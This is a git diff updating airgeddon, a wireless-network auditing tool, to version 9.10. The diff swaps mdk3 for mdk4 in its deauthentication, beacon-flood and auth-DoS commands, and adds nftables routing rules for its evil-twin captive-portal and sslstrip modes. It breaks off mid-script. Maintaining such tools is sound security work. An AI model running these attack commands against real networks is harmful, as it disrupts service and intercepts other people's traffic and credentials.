diff --git a/.airgeddonrc b/.airgeddonrc index a5732fc67..4b55decb8 100644 --- a/.airgeddonrc +++ b/.airgeddonrc @@ -22,6 +22,9 @@ AIRGEDDON_PRINT_HINTS=true #Enabled true / Disabled false - Enable 5Ghz support (it has no effect if your cards are not 5Ghz compatible cards) - Default value true AIRGEDDON_5GHZ_ENABLED=true +#Enabled true / Disabled false - Force to use iptables instead of nftables (it has no effect if nftables are not present) - Default value false +AIRGEDDON_FORCE_IPTABLES=false + #Enabled true / Disabled false - Development mode for faster development skipping intro and all initial checks - Default value false AIRGEDDON_DEVELOPMENT_MODE=false diff --git a/CHANGELOG.md b/CHANGELOG.md index 316538331..5db66b038 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -1,3 +1,11 @@ +### 9.10 + - Mdk3 replaced by Mdk4 + - Fixed some minor bugs on enterprise plain text captured password process + - Fixed minor bug forcing interface mode change after smooth enterprise attack + - Tested compatibility with Wifislax 64-2.x and Kali 2019.x + - Fixed dependency problem to avoid use of xxd + - Routing rules adapted to work with nftables + ### 9.01 - Improvments on options environment var system - Minor fixes for ARM devices diff --git a/Dockerfile b/Dockerfile index 0b254262f..00552fe89 100644 --- a/Dockerfile +++ b/Dockerfile @@ -15,6 +15,10 @@ ENV AIRGEDDON_URL="https://github.com/v1s1t0r1sh3r3/airgeddon.git" ENV HASHCAT2_URL="https://github.com/v1s1t0r1sh3r3/hashcat2.0.git" ENV BETTERCAP162_URL="https://github.com/v1s1t0r1sh3r3/bettercap1.6.2.git" ENV DEBIAN_FRONTEND="noninteractive" +ENV KALI_REPOSITORY="http://kali.download/kali" + +#Fix some problems with Kali repositories +RUN echo "deb ${KALI_REPOSITORY} kali-rolling main contrib non-free" > /etc/apt/sources.list #Update system RUN apt update @@ -68,7 +72,7 @@ RUN \ apt -y install \ crunch \ hashcat \ - mdk3 \ + mdk4 \ hostapd \ lighttpd \ iptables \ @@ -120,6 +124,9 @@ COPY . /opt/airgeddon #Remove auto update RUN sed -i 's|AIRGEDDON_AUTO_UPDATE=true|AIRGEDDON_AUTO_UPDATE=false|' airgeddon/.airgeddonrc +#Force use of iptables +RUN sed -i 's|AIRGEDDON_FORCE_IPTABLES=false|AIRGEDDON_FORCE_IPTABLES=true|' airgeddon/.airgeddonrc + #Make bash script files executable RUN chmod +x airgeddon/*.sh diff --git a/README.md b/README.md index 63600c2df..6b1edb9cd 100644 --- a/README.md +++ b/README.md @@ -80,7 +80,7 @@ All the needed info about how to "install | use | enjoy" `airgeddon` is present [Hat Tip To]: https://github.com/v1s1t0r1sh3r3/airgeddon/wiki/Hat%20Tip%20To [Inspiration]: https://github.com/v1s1t0r1sh3r3/airgeddon/wiki/Inspiration -[Version-shield]: https://img.shields.io/badge/version-9.01-blue.svg?style=flat-square&colorA=273133&colorB=0093ee "Latest version" +[Version-shield]: https://img.shields.io/badge/version-9.10-blue.svg?style=flat-square&colorA=273133&colorB=0093ee "Latest version" [Bash4.2-shield]: https://img.shields.io/badge/bash-4.2%2B-blue.svg?style=flat-square&colorA=273133&colorB=00db00 "Bash 4.2 or later" [License-shield]: https://img.shields.io/badge/license-GPL%20v3%2B-blue.svg?style=flat-square&colorA=273133&colorB=bd0000 "GPL v3+" [Docker-shield]: https://img.shields.io/docker/automated/v1s1t0r1sh3r3/airgeddon.svg?style=flat-square&colorA=273133&colorB=f9ff5a "Docker rules!" diff --git a/airgeddon.sh b/airgeddon.sh index c7af7fc57..732253f61 100755 --- a/airgeddon.sh +++ b/airgeddon.sh @@ -2,8 +2,8 @@ #Title........: airgeddon.sh #Description..: This is a multi-use bash script for Linux systems to audit wireless networks. #Author.......: v1s1t0r -#Date.........: 20190131 -#Version......: 9.01 +#Date.........: 20190317 +#Version......: 9.10 #Usage........: bash airgeddon.sh #Bash Version.: 4.2 or later @@ -41,11 +41,11 @@ optional_tools_names=( "wpaclean" "crunch" "aireplay-ng" - "mdk3" + "mdk4" "hashcat" "hostapd" "dhcpd" - "iptables" + "nft" "ettercap" "etterlog" "sslstrip" @@ -79,11 +79,11 @@ declare -A possible_package_names=( [${optional_tools_names[0]}]="aircrack-ng" #wpaclean [${optional_tools_names[1]}]="crunch" #crunch [${optional_tools_names[2]}]="aircrack-ng" #aireplay-ng - [${optional_tools_names[3]}]="mdk3" #mdk3 + [${optional_tools_names[3]}]="mdk4" #mdk4 [${optional_tools_names[4]}]="hashcat" #hashcat [${optional_tools_names[5]}]="hostapd" #hostapd [${optional_tools_names[6]}]="isc-dhcp-server / dhcp-server / dhcp" #dhcpd - [${optional_tools_names[7]}]="iptables" #iptables + [${optional_tools_names[7]}]="nftables" #nft [${optional_tools_names[8]}]="ettercap / ettercap-text-only / ettercap-graphical" #ettercap [${optional_tools_names[9]}]="ettercap / ettercap-text-only / ettercap-graphical" #etterlog [${optional_tools_names[10]}]="sslstrip" #sslstrip @@ -106,11 +106,12 @@ declare -A possible_package_names=( #More than one alias can be defined separated by spaces at value declare -A possible_alias_names=( ["beef"]="beef-xss beef-server" + ["nft"]="iptables" ) #General vars -airgeddon_version="9.01" -language_strings_expected_version="9.01-1" +airgeddon_version="9.10" +language_strings_expected_version="9.10-1" standardhandshake_filename="handshake-01.cap" timeout_capture_handshake="20" tmpdir="/tmp/" @@ -208,6 +209,9 @@ alt_range_start="172.16.250.33" alt_range_stop="172.16.250.100" std_c_mask="255.255.255.0" ip_mask="255.255.255.255" +std_c_mask_cidr="24" +ip_mask_cidr="32" +routing_tmp_file="ag.iptables_nftables" dhcpd_file="ag.dhcpd.conf" internet_dns1="8.8.8.8" internet_dns2="8.8.4.4" @@ -3336,11 +3340,11 @@ function launch_dos_pursuit_mode_attack() { recalculate_windows_sizes case "${1}" in - "mdk3 amok attack") + "mdk4 amok attack") dos_delay=1 interface_pursuit_mode_scan="${interface}" interface_pursuit_mode_deauth="${interface}" - xterm +j -bg black -fg red -geometry "${g1_topleft_window}" -T "${1} (DoS Pursuit mode)" -e mdk3 "${interface_pursuit_mode_deauth}" d -b "${tmpdir}bl.txt" -c "${channel}" > /dev/null 2>&1 & + xterm +j -bg black -fg red -geometry "${g1_topleft_window}" -T "${1} (DoS Pursuit mode)" -e mdk4 "${interface_pursuit_mode_deauth}" d -b "${tmpdir}bl.txt" -c "${channel}" > /dev/null 2>&1 & ;; "aireplay deauth attack") ${airmon} start "${interface}" "${channel}" > /dev/null 2>&1 @@ -3353,31 +3357,31 @@ function launch_dos_pursuit_mode_attack() { dos_delay=10 interface_pursuit_mode_scan="${interface}" interface_pursuit_mode_deauth="${interface}" - xterm +j -bg black -fg red -geometry "${g1_topleft_window}" -T "${1} (DoS Pursuit mode)" -e mdk3 "${interface_pursuit_mode_deauth}" w -e "${essid}" -c "${channel}" > /dev/null 2>&1 & + xterm +j -bg black -fg red -geometry "${g1_topleft_window}" -T "${1} (DoS Pursuit mode)" -e mdk4 "${interface_pursuit_mode_deauth}" w -e "${essid}" -c "${channel}" > /dev/null 2>&1 & ;; "beacon flood attack") dos_delay=1 interface_pursuit_mode_scan="${interface}" interface_pursuit_mode_deauth="${interface}" - xterm +j -bg black -fg red -geometry "${g1_topleft_window}" -T "${1} (DoS Pursuit mode)" -e mdk3 "${interface_pursuit_mode_deauth}" b -n "${essid}" -c "${channel}" -s 1000 -h > /dev/null 2>&1 & + xterm +j -bg black -fg red -geometry "${g1_topleft_window}" -T "${1} (DoS Pursuit mode)" -e mdk4 "${interface_pursuit_mode_deauth}" b -n "${essid}" -c "${channel}" -s 1000 -h > /dev/null 2>&1 & ;; "auth dos attack") dos_delay=1 interface_pursuit_mode_scan="${interface}" interface_pursuit_mode_deauth="${interface}" - xterm +j -bg black -fg red -geometry "${g1_topleft_window}" -T "${1} (DoS Pursuit mode)" -e mdk3 "${interface_pursuit_mode_deauth}" a -a "${bssid}" -m -s 1024 > /dev/null 2>&1 & + xterm +j -bg black -fg red -geometry "${g1_topleft_window}" -T "${1} (DoS Pursuit mode)" -e mdk4 "${interface_pursuit_mode_deauth}" a -a "${bssid}" -m -s 1024 > /dev/null 2>&1 & ;; "michael shutdown attack") dos_delay=1 interface_pursuit_mode_scan="${interface}" interface_pursuit_mode_deauth="${interface}" - xterm +j -bg black -fg red -geometry "${g1_topleft_window}" -T "${1} (DoS Pursuit mode)" -e mdk3 "${interface_pursuit_mode_deauth}" m -t "${bssid}" -w 1 -n 1024 -s 1024 > /dev/null 2>&1 & + xterm +j -bg black -fg red -geometry "${g1_topleft_window}" -T "${1} (DoS Pursuit mode)" -e mdk4 "${interface_pursuit_mode_deauth}" m -t "${bssid}" -w 1 -n 1024 -s 1024 > /dev/null 2>&1 & ;; - "Mdk3") + "Mdk4") dos_delay=1 interface_pursuit_mode_scan="${secondary_wifi_interface}" interface_pursuit_mode_deauth="${secondary_wifi_interface}" - xterm +j -bg black -fg red -geometry "${deauth_scr_window_position}" -T "Deauth (DoS Pursuit mode)" -e "mdk3 ${interface_pursuit_mode_deauth} d -b ${tmpdir}\"bl.txt\" -c ${channel}" > /dev/null 2>&1 & + xterm +j -bg black -fg red -geometry "${deauth_scr_window_position}" -T "Deauth (DoS Pursuit mode)" -e "mdk4 ${interface_pursuit_mode_deauth} d -b ${tmpdir}\"bl.txt\" -c ${channel}" > /dev/null 2>&1 & ;; "Aireplay") interface_pursuit_mode_scan="${secondary_wifi_interface}" @@ -3390,7 +3394,7 @@ function launch_dos_pursuit_mode_attack() { dos_delay=10 interface_pursuit_mode_scan="${secondary_wifi_interface}" interface_pursuit_mode_deauth="${secondary_wifi_interface}" - xterm +j -bg black -fg red -geometry "${deauth_scr_window_position}" -T "Deauth (DoS Pursuit mode)" -e "mdk3 ${interface_pursuit_mode_deauth} w -e ${essid} -c ${channel}" > /dev/null 2>&1 & + xterm +j -bg black -fg red -geometry "${deauth_scr_window_position}" -T "Deauth (DoS Pursuit mode)" -e "mdk4 ${interface_pursuit_mode_deauth} w -e ${essid} -c ${channel}" > /dev/null 2>&1 & ;; esac @@ -3483,8 +3487,8 @@ pid_control_pursuit_mode() { kill_dos_pursuit_mode_processes } -#Execute mdk3 deauth DoS attack -function exec_mdk3deauth() { +#Execute mdk4 deauth DoS attack +function exec_mdk4deauth() { debug_print @@ -3502,13 +3506,13 @@ function exec_mdk3deauth() { language_strings "${language}" 4 "read" dos_pursuit_mode_pids=() - launch_dos_pursuit_mode_attack "mdk3 amok attack" "first_time" - pid_control_pursuit_mode "mdk3 amok attack" + launch_dos_pursuit_mode_attack "mdk4 amok attack" "first_time" + pid_control_pursuit_mode "mdk4 amok attack" else language_strings "${language}" 33 "yellow" language_strings "${language}" 4 "read" recalculate_windows_sizes - xterm +j -bg black -fg red -geometry "${g1_topleft_window}" -T "mdk3 amok attack" -e mdk3 "${interface}" d -b "${tmpdir}bl.txt" -c "${channel}" > /dev/null 2>&1 + xterm +j -bg black -fg red -geometry "${g1_topleft_window}" -T "mdk4 amok attack" -e mdk4 "${interface}" d -b "${tmpdir}bl.txt" -c "${channel}" > /dev/null 2>&1 fi } @@ -3564,7 +3568,7 @@ function exec_wdsconfusion() { language_strings "${language}" 33 "yellow" language_strings "${language}" 4 "read" recalculate_windows_sizes - xterm +j -bg black -fg red -geometry "${g1_topleft_window}" -T "wids / wips / wds confusion attack" -e mdk3 "${interface}" w -e "${essid}" -c "${channel}" > /dev/null 2>&1 + xterm +j -bg black -fg red -geometry "${g1_topleft_window}" -T "wids / wips / wds confusion attack" -e mdk4 "${interface}" w -e "${essid}" -c "${channel}" > /dev/null 2>&1 fi } @@ -3591,7 +3595,7 @@ function exec_beaconflood() { language_strings "${language}" 33 "yellow" language_strings "${language}" 4 "read" recalculate_windows_sizes - xterm +j -sb -rightbar -geometry "${g1_topleft_window}" -T "beacon flood attack" -e mdk3 "${interface}" b -n "${essid}" -c "${channel}" -s 1000 -h > /dev/null 2>&1 + xterm +j -sb -rightbar -geometry "${g1_topleft_window}" -T "beacon flood attack" -e mdk4 "${interface}" b -n "${essid}" -c "${channel}" -s 1000 -h > /dev/null 2>&1 fi } @@ -3618,7 +3622,7 @@ function exec_authdos() { language_strings "${language}" 33 "yellow" language_strings "${language}" 4 "read" recalculate_windows_sizes - xterm +j -sb -rightbar -geometry "${g1_topleft_window}" -T "auth dos attack" -e mdk3 "${interface}" a -a "${bssid}" -m -s 1024 > /dev/null 2>&1 + xterm +j -sb -rightbar -geometry "${g1_topleft_window}" -T "auth dos attack" -e mdk4 "${interface}" a -a "${bssid}" -m -s 1024 > /dev/null 2>&1 fi } @@ -3645,12 +3649,12 @@ function exec_michaelshutdown() { language_strings "${language}" 33 "yellow" language_strings "${language}" 4 "read" recalculate_windows_sizes - xterm +j -sb -rightbar -geometry "${g1_topleft_window}" -T "michael shutdown attack" -e mdk3 "${interface}" m -t "${bssid}" -w 1 -n 1024 -s 1024 > /dev/null 2>&1 + xterm +j -sb -rightbar -geometry "${g1_topleft_window}" -T "michael shutdown attack" -e mdk4 "${interface}" m -t "${bssid}" -w 1 -n 1024 -s 1024 > /dev/null 2>&1 fi } -#Validate Mdk3 parameters -function mdk3_deauth_option() { +#Validate Mdk4 parameters +function mdk4_deauth_option() { debug_print @@ -3681,7 +3685,7 @@ function mdk3_deauth_option() { dos_pursuit_mode=1 fi - exec_mdk3deauth + exec_mdk4deauth } #Validate Aireplay parameters @@ -4254,7 +4258,7 @@ function initialize_menu_options_dependencies() { clean_handshake_dependencies=(${optional_tools_names[0]}) aircrack_attacks_dependencies=(${optional_tools_names[1]}) aireplay_attack_dependencies=(${optional_tools_names[2]}) - mdk3_attack_dependencies=(${optional_tools_names[3]}) + mdk4_attack_dependencies=(${optional_tools_names[3]}) hashcat_attacks_dependencies=(${optional_tools_names[4]}) et_onlyap_dependencies=(${optional_tools_names[5]} ${optional_tools_names[6]} ${optional_tools_names[7]}) et_sniffing_dependencies=(${optional_tools_names[5]} ${optional_tools_names[6]} ${optional_tools_names[7]} ${optional_tools_names[8]} ${optional_tools_names[9]}) @@ -4410,7 +4414,7 @@ function clean_env_vars() { debug_print - unset AIRGEDDON_AUTO_UPDATE AIRGEDDON_SKIP_INTRO AIRGEDDON_BASIC_COLORS AIRGEDDON_EXTENDED_COLORS AIRGEDDON_AUTO_CHANGE_LANGUAGE AIRGEDDON_SILENT_CHECKS AIRGEDDON_PRINT_HINTS AIRGEDDON_5GHZ_ENABLED AIRGEDDON_DEVELOPMENT_MODE AIRGEDDON_DEBUG_MODE + unset AIRGEDDON_AUTO_UPDATE AIRGEDDON_SKIP_INTRO AIRGEDDON_BASIC_COLORS AIRGEDDON_EXTENDED_COLORS AIRGEDDON_AUTO_CHANGE_LANGUAGE AIRGEDDON_SILENT_CHECKS AIRGEDDON_PRINT_HINTS AIRGEDDON_5GHZ_ENABLED AIRGEDDON_FORCE_IPTABLES AIRGEDDON_DEVELOPMENT_MODE AIRGEDDON_DEBUG_MODE } #Clean temporary files @@ -4467,42 +4471,78 @@ function clean_routing_rules() { echo "${original_routing_state}" > /proc/sys/net/ipv4/ip_forward fi + clean_initialize_iptables_nftables + if [ "${iptables_saved}" -eq 1 ]; then - restore_iptables - else - clean_iptables + restore_iptables_nftables fi - rm -rf "${tmpdir}ag.iptables" > /dev/null 2>&1 + rm -rf "${tmpdir}${routing_tmp_file}" > /dev/null 2>&1 } -#Save iptables rules -function save_iptables() { +#Save iptables/nftables rules +function save_iptables_nftables() { debug_print - if "${iptables_cmd}-save" > "${tmpdir}ag.iptables" 2> /dev/null; then - iptables_saved=1 + if [ "${iptables_nftables}" -eq 1 ]; then + if hash "iptables-${iptables_cmd}-save" 2> /dev/null; then + if "iptables-${iptables_cmd}-save" > "${tmpdir}${routing_tmp_file}" 2> /dev/null; then + iptables_saved=1 + fi + elif hash "${iptables_cmd}-compat-save" 2> /dev/null; then + if "${iptables_cmd}-compat-save" > "${tmpdir}${routing_tmp_file}" 2> /dev/null; then + iptables_saved=1 + fi + fi + else + if hash "${iptables_cmd}-save" 2> /dev/null; then + if "${iptables_cmd}-save" > "${tmpdir}${routing_tmp_file}" 2> /dev/null; then + iptables_saved=1 + fi + fi fi } -#Restore iptables rules -function restore_iptables() { +#Restore iptables/nftables rules +function restore_iptables_nftables() { debug_print - "${iptables_cmd}-restore" < "${tmpdir}ag.iptables" 2> /dev/null + if [ "${iptables_nftables}" -eq 1 ]; then + if hash "iptables-${iptables_cmd}-restore" 2> /dev/null; then + "iptables-${iptables_cmd}-restore" < "${tmpdir}${routing_tmp_file}" 2> /dev/null + elif hash "${iptables_cmd}-compat-restore" 2> /dev/null; then + "${iptables_cmd}-compat-restore" < "${tmpdir}${routing_tmp_file}" 2> /dev/null + fi + else + if hash "${iptables_cmd}-restore" 2> /dev/null; then + "${iptables_cmd}-restore" < "${tmpdir}${routing_tmp_file}" 2> /dev/null + fi + fi } -#Clean iptables rules -function clean_iptables() { +#Clean and initialize iptables/nftables rules +function clean_initialize_iptables_nftables() { debug_print - "${iptables_cmd}" -F - "${iptables_cmd}" -t nat -F - "${iptables_cmd}" -X - "${iptables_cmd}" -t nat -X + if [ "${iptables_nftables}" -eq 1 ]; then + "${iptables_cmd}" add table ip filter 2> /dev/null + "${iptables_cmd}" add chain ip filter INPUT 2> /dev/null + "${iptables_cmd}" add chain ip filter OUTPUT 2> /dev/null + "${iptables_cmd}" add chain ip filter FORWARD 2> /dev/null + "${iptables_cmd}" flush table ip filter 2> /dev/null + "${iptables_cmd}" add table ip nat 2> /dev/null + "${iptables_cmd}" add chain nat PREROUTING "{ type nat hook prerouting priority 0 ; }" 2> /dev/null + "${iptables_cmd}" add chain nat POSTROUTING "{ type nat hook postrouting priority 100 ; }" 2> /dev/null + "${iptables_cmd}" flush table ip nat 2> /dev/null + else + "${iptables_cmd}" -F 2> /dev/null + "${iptables_cmd}" -t nat -F 2> /dev/null + "${iptables_cmd}" -X 2> /dev/null + "${iptables_cmd}" -t nat -X 2> /dev/null + fi } #Create an array from parameters @@ -7215,7 +7255,7 @@ function exec_hashcat_rulebased_attack() { language_strings "${language}" 115 "read" } -#Execute Enterprise smooth attack +#Execute Enterprise smooth/noisy attack function exec_enterprise_attack() { debug_print @@ -7235,7 +7275,19 @@ function exec_enterprise_attack() { if [ "${dos_pursuit_mode}" -eq 1 ]; then recover_current_channel fi - restore_et_interface + if [ ${enterprise_mode} = "noisy" ]; then + restore_et_interface + else + if [ -f "${tmpdir}${enterprisedir}${enterprise_successfile}" ]; then + interface=$(grep -E "^interface=" "${tmpdir}${enterprisedir}returning_vars.txt" | awk -F "=" '{print $2}') + phy_interface=$(grep -E "^phy_interface=" "${tmpdir}${enterprisedir}returning_vars.txt" | awk -F "=" '{print $2}') + current_iface_on_messages=$(grep -E "^current_iface_on_messages=" "${tmpdir}${enterprisedir}returning_vars.txt" | awk -F "=" '{print $2}') + ifacemode=$(grep -E "^ifacemode=" "${tmpdir}${enterprisedir}returning_vars.txt" | awk -F "=" '{print $2}') + rm -rf "${tmpdir}${enterprisedir}returning_vars.txt" > /dev/null 2>&1 + else + restore_et_interface + fi + fi handle_enterprise_log handle_asleap_attack clean_tmpfiles @@ -7247,30 +7299,34 @@ function handle_asleap_attack() { debug_print if [ -f "${tmpdir}${enterprisedir}${enterprise_successfile}" ]; then - ask_yesno 537 "no" - if [ "${yesno}" = "y" ]; then + local result + result=$(cat "${tmpdir}${enterprisedir}${enterprise_successfile}") + if [[ ${result} -eq 0 ]] || [[ ${result} -eq 2 ]]; then + ask_yesno 537 "no" + if [ "${yesno}" = "y" ]; then - asleap_attack_finished=0 + asleap_attack_finished=0 - if [ ${enterprise_mode} = "noisy" ]; then - if [ ${#enterprise_captured_challenges_responses[@]} -eq 1 ]; then - echo - language_strings "${language}" 542 "yellow" - else - select_captured_enterprise_user + if [ ${enterprise_mode} = "noisy" ]; then + if [ ${#enterprise_captured_challenges_responses[@]} -eq 1 ]; then + echo + language_strings "${language}" 542 "yellow" + else + select_captured_enterprise_user + fi fi - fi - echo - language_strings "${language}" 538 "blue" - - while [[ "${asleap_attack_finished}" != "1" ]]; do - ask_dictionary - echo - exec_asleap_attack echo - manage_asleap_pot - done + language_strings "${language}" 538 "blue" + + while [[ "${asleap_attack_finished}" != "1" ]]; do + ask_dictionary + echo + exec_asleap_attack + echo + manage_asleap_pot + done + fi fi fi } @@ -7492,8 +7548,10 @@ function set_hostapd_config() { tmpfiles_toclean=1 rm -rf "${tmpdir}${hostapd_file}" > /dev/null 2>&1 - different_mac_digit=$(xxd -p -u -l 100 < /dev/urandom | sed "s/${bssid:10:1}//g" | head -c 1) - et_bssid=${bssid::10}${different_mac_digit}${bssid:11:6} + local digit_to_change + digit_to_change="${bssid:10:1}" + (( different_mac_digit=("16#${digit_to_change}" + 1 + RANDOM % 15) % 16 )) + et_bssid=$(printf %s%X%s\\n "${bssid::10}" "${different_mac_digit}" "${bssid:11}") { echo -e "interface=${interface}" @@ -7570,9 +7628,9 @@ function launch_fake_ap() { debug_print if [ -n "${enterprise_mode}" ]; then - kill "$(ps -C hostapd-wpe --no-headers -o pid)" &> /dev/null + kill "$(ps -C hostapd-wpe --no-headers -o pid | tr -d ' ')" &> /dev/null else - kill "$(ps -C hostapd --no-headers -o pid)" &> /dev/null + kill "$(ps -C hostapd --no-headers -o pid | tr -d ' ')" &> /dev/null fi ${airmon} check kill > /dev/null 2>&1 nm_processes_killed=1 @@ -7734,46 +7792,86 @@ function set_std_internet_routing_rules() { if [ "${routing_modified}" -eq 0 ]; then original_routing_state=$(cat /proc/sys/net/ipv4/ip_forward) - save_iptables + save_iptables_nftables fi ifconfig "${interface}" ${et_ip_router} netmask ${std_c_mask} > /dev/null 2>&1 routing_modified=1 - clean_iptables + clean_initialize_iptables_nftables if [[ "${et_mode}" != "et_captive_portal" ]] || [[ ${captive_portal_mode} = "internet" ]]; then - "${iptables_cmd}" -P FORWARD ACCEPT + if [ "${iptables_nftables}" -eq 1 ]; then + "${iptables_cmd}" add rule ip filter FORWARD counter accept + else + "${iptables_cmd}" -P FORWARD ACCEPT + fi echo "1" > /proc/sys/net/ipv4/ip_forward else - "${iptables_cmd}" -P FORWARD DROP + if [ "${iptables_nftables}" -eq 1 ]; then + "${iptables_cmd}" add rule ip filter FORWARD counter drop + else + "${iptables_cmd}" -P FORWARD DROP + fi echo "0" > /proc/sys/net/ipv4/ip_forward fi if [ "${et_mode}" = "et_captive_portal" ]; then - "${iptables_cmd}" -t nat -A PREROUTING -p tcp --dport 80 -j DNAT --to-destination ${et_ip_router}:80 - "${iptables_cmd}" -t nat -A PREROUTING -p tcp --dport 443 -j DNAT --to-destination ${et_ip_router}:80 - "${iptables_cmd}" -A INPUT -p tcp --destination-port 80 -j ACCEPT - "${iptables_cmd}" -A INPUT -p tcp --destination-port 443 -j ACCEPT + if [ "${iptables_nftables}" -eq 1 ]; then + "${iptables_cmd}" add rule ip nat PREROUTING tcp dport 80 counter dnat to ${et_ip_router}:80 + "${iptables_cmd}" add rule ip nat PREROUTING tcp dport 443 counter dnat to ${et_ip_router}:443 + "${iptables_cmd}" add rule ip filter INPUT tcp dport 80 counter accept + "${iptables_cmd}" add rule ip filter INPUT tcp dport 443 counter accept + else + "${iptables_cmd}" -t nat -A PREROUTING -p tcp --dport 80 -j DNAT --to-destination ${et_ip_router}:80 + "${iptables_cmd}" -t nat -A PREROUTING -p tcp --dport 443 -j DNAT --to-destination ${et_ip_router}:80 + "${iptables_cmd}" -A INPUT -p tcp --destination-port 80 -j ACCEPT + "${iptables_cmd}" -A INPUT -p tcp --destination-port 443 -j ACCEPT + fi if [ ${captive_portal_mode} = "dnsblackhole" ]; then - "${iptables_cmd}" -A INPUT -p udp --destination-port 53 -j ACCEPT + if [ "${iptables_nftables}" -eq 1 ]; then + "${iptables_cmd}" add rule ip filter INPUT udp dport 53 counter accept + else + "${iptables_cmd}" -A INPUT -p udp --destination-port 53 -j ACCEPT + fi fi elif [ "${et_mode}" = "et_sniffing_sslstrip" ]; then - "${iptables_cmd}" -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port ${sslstrip_port} - "${iptables_cmd}" -A INPUT -p tcp --destination-port ${sslstrip_port} -j ACCEPT + if [ "${iptables_nftables}" -eq 1 ]; then + "${iptables_cmd}" add rule ip nat PREROUTING tcp dport 80 counter redirect to :${sslstrip_port} + "${iptables_cmd}" add rule ip filter INPUT tcp dport ${sslstrip_port} counter accept + else + "${iptables_cmd}" -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port ${sslstrip_port} + "${iptables_cmd}" -A INPUT -p tcp --destination-port ${sslstrip_port} -j ACCEPT + fi elif [ "${et_mode}" = "et_sniffing_sslstrip2" ]; then - "${iptables_cmd}" -A INPUT -p tcp --destination-port ${bettercap_proxy_port} -j ACCEPT - "${iptables_cmd}" -A INPUT -p udp --destination-port ${bettercap_dns_port} -j ACCEPT - "${iptables_cmd}" -A INPUT -i lo -j ACCEPT - "${iptables_cmd}" -A INPUT -p tcp --destination-port ${beef_port} -j ACCEPT + if [ "${iptables_nftables}" -eq 1 ]; then + "${iptables_cmd}" add rule ip filter INPUT tcp dport ${bettercap_proxy_port} counter accept + "${iptables_cmd}" add rule ip filter INPUT udp dport ${bettercap_dns_port} counter accept + "${iptables_cmd}" add rule ip filter INPUT iifname "lo" counter accept + "${iptables_cmd}" add rule ip filter INPUT tcp dport ${beef_port} counter accept + else + "${iptables_cmd}" -A INPUT -p tcp --destination-port ${bettercap_proxy_port} -j ACCEPT + "${iptables_cmd}" -A INPUT -p udp --destination-port ${bettercap_dns_port} -j ACCEPT + "${iptables_cmd}" -A INPUT -i lo -j ACCEPT + "${iptables_cmd}" -A INPUT -p tcp --destination-port ${beef_port} -j ACCEPT + fi fi if [[ "${et_mode}" != "et_captive_portal" ]] || [[ ${captive_portal_mode} = "internet" ]]; then - "${iptables_cmd}" -t nat -A POSTROUTING -o "${internet_interface}" -j MASQUERADE + if [ "${iptables_nftables}" -eq 1 ]; then + "${iptables_cmd}" add rule nat POSTROUTING ip saddr ${et_ip_range}/${std_c_mask_cidr} oifname "${internet_interface}" counter masquerade + else + "${iptables_cmd}" -t nat -A POSTROUTING -o "${internet_interface}" -j MASQUERADE + fi fi - "${iptables_cmd}" -A INPUT -p icmp --icmp-type 8 -s ${et_ip_range}/${std_c_mask} -d ${et_ip_router}/${ip_mask} -m state --state NEW,ESTABLISHED,RELATED -j ACCEPT - "${iptables_cmd}" -A INPUT -s ${et_ip_range}/${std_c_mask} -d ${et_ip_router}/${ip_mask} -j DROP + if [ "${iptables_nftables}" -eq 1 ]; then + "${iptables_cmd}" add rule ip filter INPUT ip saddr ${et_ip_range}/${std_c_mask_cidr} ip daddr ${et_ip_router}/${ip_mask_cidr} icmp type echo-request ct state new,related,established counter accept + "${iptables_cmd}" add rule ip filter INPUT ip saddr ${et_ip_range}/${std_c_mask_cidr} ip daddr ${et_ip_router}/${ip_mask_cidr} counter drop + else + "${iptables_cmd}" -A INPUT -p icmp --icmp-type 8 -s ${et_ip_range}/${std_c_mask} -d ${et_ip_router}/${ip_mask} -m state --state NEW,ESTABLISHED,RELATED -j ACCEPT + "${iptables_cmd}" -A INPUT -s ${et_ip_range}/${std_c_mask} -d ${et_ip_router}/${ip_mask} -j DROP + fi sleep 2 } @@ -7782,7 +7880,7 @@ function launch_dhcp_server() { debug_print - kill "$(ps -C dhcpd --no-headers -o pid)" &> /dev/null + kill "$(ps -C dhcpd --no-headers -o pid | tr -d ' ')" &> /dev/null recalculate_windows_sizes case ${et_mode} in @@ -7809,19 +7907,19 @@ function exec_et_deauth() { prepare_et_monitor case ${et_dos_attack} in - "Mdk3") - kill "$(ps -C mdk3 --no-headers -o pid)" &> /dev/null + "Mdk4") + kill "$(ps -C mdk4 --no-headers -o pid | tr -d ' ')" &> /dev/null rm -rf "${tmpdir}bl.txt" > /dev/null 2>&1 echo "${bssid}" > "${tmpdir}bl.txt" - deauth_et_cmd="mdk3 ${iface_monitor_et_deauth} d -b ${tmpdir}\"bl.txt\" -c ${channel}" + deauth_et_cmd="mdk4 ${iface_monitor_et_deauth} d -b ${tmpdir}\"bl.txt\" -c ${channel}" ;; "Aireplay") - kill "$(ps -C aireplay-ng --no-headers -o pid)" &> /dev/null + kill "$(ps -C aireplay-ng --no-headers -o pid | tr -d ' ')" &> /dev/null deauth_et_cmd="aireplay-ng --deauth 0 -a ${bssid} --ignore-negative-one ${iface_monitor_et_deauth}" ;; "Wds Confusion") - kill "$(ps -C mdk3 --no-headers -o pid)" &> /dev/null - deauth_et_cmd="mdk3 ${iface_monitor_et_deauth} w -e ${essid} -c ${channel}" + kill "$(ps -C mdk4 --no-headers -o pid | tr -d ' ')" &> /dev/null + deauth_et_cmd="mdk4 ${iface_monitor_et_deauth} w -e ${essid} -c ${channel}" ;; esac @@ -8277,6 +8375,12 @@ function set_enterprise_control_script() { cat >&7 <<-EOF #!/usr/bin/env bash + interface="${interface}" + et_initial_state="${et_initial_state}" + interface_airmon_compatible=${interface_airmon_compatible} + iface_monitor_et_deauth="${iface_monitor_et_deauth}" + airmon="${airmon}" + enterprise_returning_vars_file="${tmpdir}${enterprisedir}returning_vars.txt" enterprise_heredoc_mode="${enterprise_mode}" path_to_processes="${tmpdir}${enterprisedir}${enterprise_processesfile}" wpe_logfile="${tmpdir}${hostapd_wpe_log}" @@ -8286,6 +8390,49 @@ function set_enterprise_control_script() { EOF cat >&7 <<-'EOF' + #Restore interface to its original state + function restore_interface() { + + if hash rfkill 2> /dev/null; then + rfkill unblock all > /dev/null 2>&1 + fi + + iw dev "${iface_monitor_et_deauth}" del > /dev/null 2>&1 + + if [ "${et_initial_state}" = "Managed" ]; then + ifconfig "${interface}" down > /dev/null 2>&1 + iwconfig "${interface}" mode "managed" > /dev/null 